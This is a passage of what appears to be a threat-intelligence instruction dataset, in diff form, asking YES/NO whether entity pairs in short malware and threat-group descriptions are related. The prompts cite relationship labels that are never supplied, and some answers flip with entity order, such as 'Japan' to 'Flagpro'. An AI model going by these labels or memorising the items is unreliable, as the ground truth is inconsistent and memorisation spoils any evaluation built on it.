Target Entity: Thai\n### Text Passage:\nWolfRAT is malware based on a leaked version of Dendroid that has primarily targeted Thai users. WolfRAT has most likely been operated by the now defunct organization Wolf Research.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWIREFIRE\n### Target Entity: Python\n### Text Passage:\nWIREFIRE is a web shell written in Python that exists as trojanized logic to the visits.py component of Ivanti Connect Secure VPN appliances. WIREFIRE was used during Cutting Edge for downloading files and command execution.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWIREFIRE\n### Target Entity: Ivanti Connect Secure VPN\n### Text Passage:\nWIREFIRE is a web shell written in Python that exists as trojanized logic to the visits.py component of Ivanti Connect Secure VPN appliances. WIREFIRE was used during Cutting Edge for downloading files and command execution.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nvisits.py\n### Target Entity: Ivanti Connect Secure VPN\n### Text Passage:\nWIREFIRE is a web shell written in Python that exists as trojanized logic to the visits.py component of Ivanti Connect Secure VPN appliances. WIREFIRE was used during Cutting Edge for downloading files and command execution.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIvanti Connect Secure VPN\n### Target Entity: WIREFIRE\n### Text Passage:\nWIREFIRE is a web shell written in Python that exists as trojanized logic to the visits.py component of Ivanti Connect Secure VPN appliances. WIREFIRE was used during Cutting Edge for downloading files and command execution.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCHEMISTGAMES\n### Target Entity: Sandworm Team\n### Text Passage:\nCHEMISTGAMES is a modular backdoor that has been deployed by Sandworm Team.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFLIPSIDE\n### Target Entity: RDP\n### Text Passage:\nFLIPSIDE uses RDP to tunnel traffic from a victim environment.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackMould\n### Target Entity: China Chopper\n### Text Passage:\nBlackMould is a web shell based on China Chopper for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by GALLIUM against telecommunication providers.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackMould\n### Target Entity: Microsoft IIS\n### Text Passage:\nBlackMould is a web shell based on China Chopper for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by GALLIUM against telecommunication providers.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGALLIUM\n### Target Entity: BlackMould\n### Text Passage:\nBlackMould is a web shell based on China Chopper for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by GALLIUM against telecommunication providers.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDust Storm\n### Target Entity: Mis-Type\n### Text Passage:\nMis-Type is a backdoor hybrid that was used by Dust Storm in 2012. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nP8RAT\n### Target Entity: VMware\n### Text Passage:\nP8RAT can check the compromised host for processes associated with VMware or VirtualBox environments.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nP8RAT\n### Target Entity: VirtualBox\n### Text Passage:\nP8RAT can check the compromised host for processes associated with VMware or VirtualBox environments.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nVMware\n### Target Entity: VirtualBox\n### Text Passage:\nP8RAT can check the compromised host for processes associated with VMware or VirtualBox environments.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nANDROMEDA\n### Target Entity: C2\n### Text Passage:\nANDROMEDA is commodity malware that was widespread in the early 2010's and continues to be observed in infections across a wide variety of industries. During the 2022 C0026 campaign, threat actors re-registered expired ANDROMEDA C2 domains to spread malware to select targets in Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nANDROMEDA\n### Target Entity: Ukraine\n### Text Passage:\nANDROMEDA is commodity malware that was widespread in the early 2010's and continues to be observed in infections across a wide variety of industries. During the 2022 C0026 campaign, threat actors re-registered expired ANDROMEDA C2 domains to spread malware to select targets in Ukraine.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFlagpro\n### Target Entity: Windows\n### Text Passage:\nFlagpro is a Windows-based, first-stage downloader that has been used by BlackTech since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackTech\n### Target Entity: Flagpro\n### Text Passage:\nFlagpro is a Windows-based, first-stage downloader that has been used by BlackTech since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFlagpro\n### Target Entity: Japan\n### Text Passage:\nFlagpro is a Windows-based, first-stage downloader that has been used by BlackTech since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nJapan\n### Target Entity: Flagpro\n### Text Passage:\nFlagpro is a Windows-based, first-stage downloader that has been used by BlackTech since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT29\n### Target Entity: WellMail\n### Text Passage:\nWellMail is a lightweight malware written in Golang used by APT29, similar in design and structure to WellMess.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWellMail\n### Target Entity: Golang\n### Text Passage:\nWellMail is a lightweight malware written in Golang used by APT29, similar in design and structure to WellMess.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWellMail\n### Target Entity: WellMess\n### Text Passage:\nWellMail is a lightweight malware written in Golang used by APT29, similar in design and structure to WellMess.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHUI Loader\n### Target Entity: China\n### Text Passage:\nHUI Loader is a custom DLL loader that has been used since at least 2015 by China-based threat groups including Cinnamon Tempest and menuPass to deploy malware on compromised hosts. HUI Loader has been observed in campaigns loading SodaMaster, PlugX, Cobalt Strike, Komplex, and several strains of ransomware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCinnamon Tempest\n### Target Entity: HUI Loader\n### Text Passage:\nHUI Loader is a custom DLL loader that has been used since at least 2015 by China-based threat groups including Cinnamon Tempest and menuPass to deploy malware on compromised hosts. HUI Loader has been observed in campaigns loading SodaMaster, PlugX, Cobalt Strike, Komplex, and several strains of ransomware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nmenuPass\n### Target Entity: HUI Loader\n### Text Passage:\nHUI Loader is a custom DLL loader that has been used since at least 2015 by China-based threat groups including Cinnamon Tempest and menuPass to deploy malware on compromised hosts. HUI Loader has been observed in campaigns loading SodaMaster, PlugX, Cobalt Strike, Komplex, and several strains of ransomware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHUI Loader\n### Target Entity: SodaMaster\n### Text Passage:\nHUI Loader is a custom DLL loader that has been used since at least 2015 by China-based threat groups including Cinnamon Tempest and menuPass to deploy malware on compromised hosts. HUI Loader has been observed in campaigns loading SodaMaster, PlugX, Cobalt Strike, Komplex, and several strains of ransomware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHUI Loader\n### Target Entity: PlugX\n### Text Passage:\nHUI Loader is a custom DLL loader that has been used since at least 2015 by China-based threat groups including Cinnamon Tempest and menuPass to deploy malware on compromised hosts. HUI Loader has been observed in campaigns loading SodaMaster, PlugX, Cobalt Strike, Komplex, and several strains of ransomware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHUI Loader\n### Target Entity: Cobalt Strike\n### Text Passage:\nHUI Loader is a custom DLL loader that has been used since at least 2015 by China-based threat groups including Cinnamon Tempest and menuPass to deploy malware on compromised hosts. HUI Loader has been observed in campaigns loading SodaMaster, PlugX, Cobalt Strike, Komplex, and several strains of ransomware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHUI Loader\n### Target Entity: Komplex\n### Text Passage:\nHUI Loader is a custom DLL loader that has been used since at least 2015 by China-based threat groups including Cinnamon Tempest and menuPass to deploy malware on compromised hosts. HUI Loader has been observed in campaigns loading SodaMaster, PlugX, Cobalt Strike, Komplex, and several strains of ransomware.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSodaMaster\n### Target Entity: China\n### Text Passage:\nHUI Loader is a custom DLL loader that has been used since at least 2015 by China-based threat groups including Cinnamon Tempest and menuPass to deploy malware on compromised hosts. HUI Loader has been observed in campaigns loading SodaMaster, PlugX, Cobalt Strike, Komplex, and several strains of ransomware.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nELMER\n### Target Entity: Delphi\n### Text Passage:\nELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT16\n### Target Entity: ELMER\n### Text Passage:\nELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUNC3890\n### Target Entity: SUGARDUMP\n### Text Passage:\nSUGARDUMP is a proprietary browser credential harvesting tool that was used by UNC3890 during the C0010 campaign. The first known SUGARDUMP version was used since at least early 2021, a second SMTP C2 version was used from late 2021-early 2022, and a third HTTP C2 variant was used since at least April 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nC0010\n### Target Entity: UNC3890\n### Text Passage:\nSUGARDUMP is a proprietary browser credential harvesting tool that was used by UNC3890 during the C0010 campaign. The first known SUGARDUMP version was used since at least early 2021, a second SMTP C2 version was used from late 2021-early 2022, and a third HTTP C2 variant was used since at least April 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSUGARDUMP\n### Target Entity: C2\n### Text Passage:\nSUGARDUMP is a proprietary browser credential harvesting tool that was used by UNC3890 during the C0010 campaign. The first known SUGARDUMP version was used since at least early 2021, a second SMTP C2 version was used from late 2021-early 2022, and a third HTTP C2 variant was used since at least April 2022.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAutoIt\n### Target Entity: PowerShell\n### Text Passage:\nAutoIt backdoor downloads a PowerShell script that decodes to a typical shellcode loader.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nZxxZ\n### Target Entity: C++\n### Text Passage:\nZxxZ is a trojan written in Visual C++ that has been used by BITTER since at least August 2021, including against Bangladeshi government personnel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBITTER\n### Target Entity: ZxxZ\n### Text Passage:\nZxxZ is a trojan written in Visual C++ that has been used by BITTER since at least August 2021, including against Bangladeshi government personnel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nZxxZ\n### Target Entity: Bangladeshi\n### Text Passage:\nZxxZ is a trojan written in Visual C++ that has been used by BITTER since at least August 2021, including against Bangladeshi government personnel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEvil Eye\n### Target Entity: INSOMNIA\n### Text Passage:\nINSOMNIA is spyware that has been used by the group Evil Eye.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGPlayed\n### Target Entity: Android\n### Text Passage:\nGPlayed is an Android trojan with a broad range of capabilities.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEnvyScout\n### Target Entity: Rundll32\n### Text Passage:\nEnvyScout has the ability to proxy execution of malicious files with Rundll32.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRAPIDPULSE\n### Target Entity: Pulse Secure\n### Text Passage:\nRAPIDPULSE is a web shell that exists as a modification to a legitimate Pulse Secure file that has been used by APT5 since at least 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT5\n### Target Entity: RAPIDPULSE\n### Text Passage:\nRAPIDPULSE is a web shell that exists as a modification to a legitimate Pulse Secure file that has been used by APT5 since at least 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA505\n### Target Entity: Get2\n### Text Passage:\nGet2 is a downloader written in C++ that has been used by TA505 to deliver FlawedGrace, FlawedAmmyy, Snatch and SDBbot.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGet2\n### Target Entity: FlawedGrace\n### Text Passage:\nGet2 is a downloader written in C++ that has been used by TA505 to deliver FlawedGrace, FlawedAmmyy, Snatch and SDBbot.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGet2\n### Target Entity: FlawedAmmyy\n### Text Passage:\nGet2 is a downloader written in C++ that has been used by TA505 to deliver FlawedGrace, FlawedAmmyy, Snatch and SDBbot.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGet2\n### Target Entity: Snatch\n### Text Passage:\nGet2 is a downloader written in C++ that has been used by TA505 to deliver FlawedGrace, FlawedAmmyy, Snatch and SDBbot.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGet2\n### Target Entity: SDBbot\n### Text Passage:\nGet2 is a downloader written in C++ that has been used by TA505 to deliver FlawedGrace, FlawedAmmyy, Snatch and SDBbot.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFlawedAmmyy\n### Target Entity: FlawedGrace\n### Text Passage:\nGet2 is a downloader written in C++ that has been used by TA505 to deliver FlawedGrace, FlawedAmmyy, Snatch and SDBbot.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSkygofree\n### Target Entity: Android\n### Text Passage:\nSkygofree is Android spyware that is believed to have been developed in 2014 and used through at least 2017.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMisdat\n### Target Entity: Borland Delphi\n### Text Passage:\nMany Misdat samples were programmed using Borland Delphi, which will mangle the default PE compile timestamp of a file.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBBSRAT\n### Target Entity: Expand\n### Text Passage:\nBBSRAT uses Expand to decompress a CAB file into executable content.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNGLite\n### Target Entity: C2\n### Text Passage:\nNGLite is a backdoor Trojan that is only capable of running commands received through its C2 channel. While the capabilities are standard for a backdoor, NGLite uses a novel C2 channel that leverages a decentralized network based on the legitimate NKN to communicate between the backdoor and the actors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWingbird\n### Target Entity: FinFisher\n### Text Passage:\nFinFisher is a government-grade commercial surveillance spyware reportedly sold exclusively to government agencies for use in targeted and lawful criminal investigations. It is heavily obfuscated and uses multiple anti-analysis techniques. It has other variants including Wingbird. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEvilnum\n### Target Entity: EVILNUM\n### Text Passage:\nEVILNUM is fully capable backdoor that was first identified in 2018. EVILNUM is used by the APT group Evilnum which has the same name.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGroup5\n### Target Entity: Iranian\n### Text Passage:\nGroup5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGroup5\n### Target Entity: Syrian\n### Text Passage:\nGroup5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGroup5\n### Target Entity: njRAT\n### Text Passage:\nGroup5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGroup5\n### Target Entity: NanoCore\n### Text Passage:\nGroup5 is a threat group with a suspected Iranian 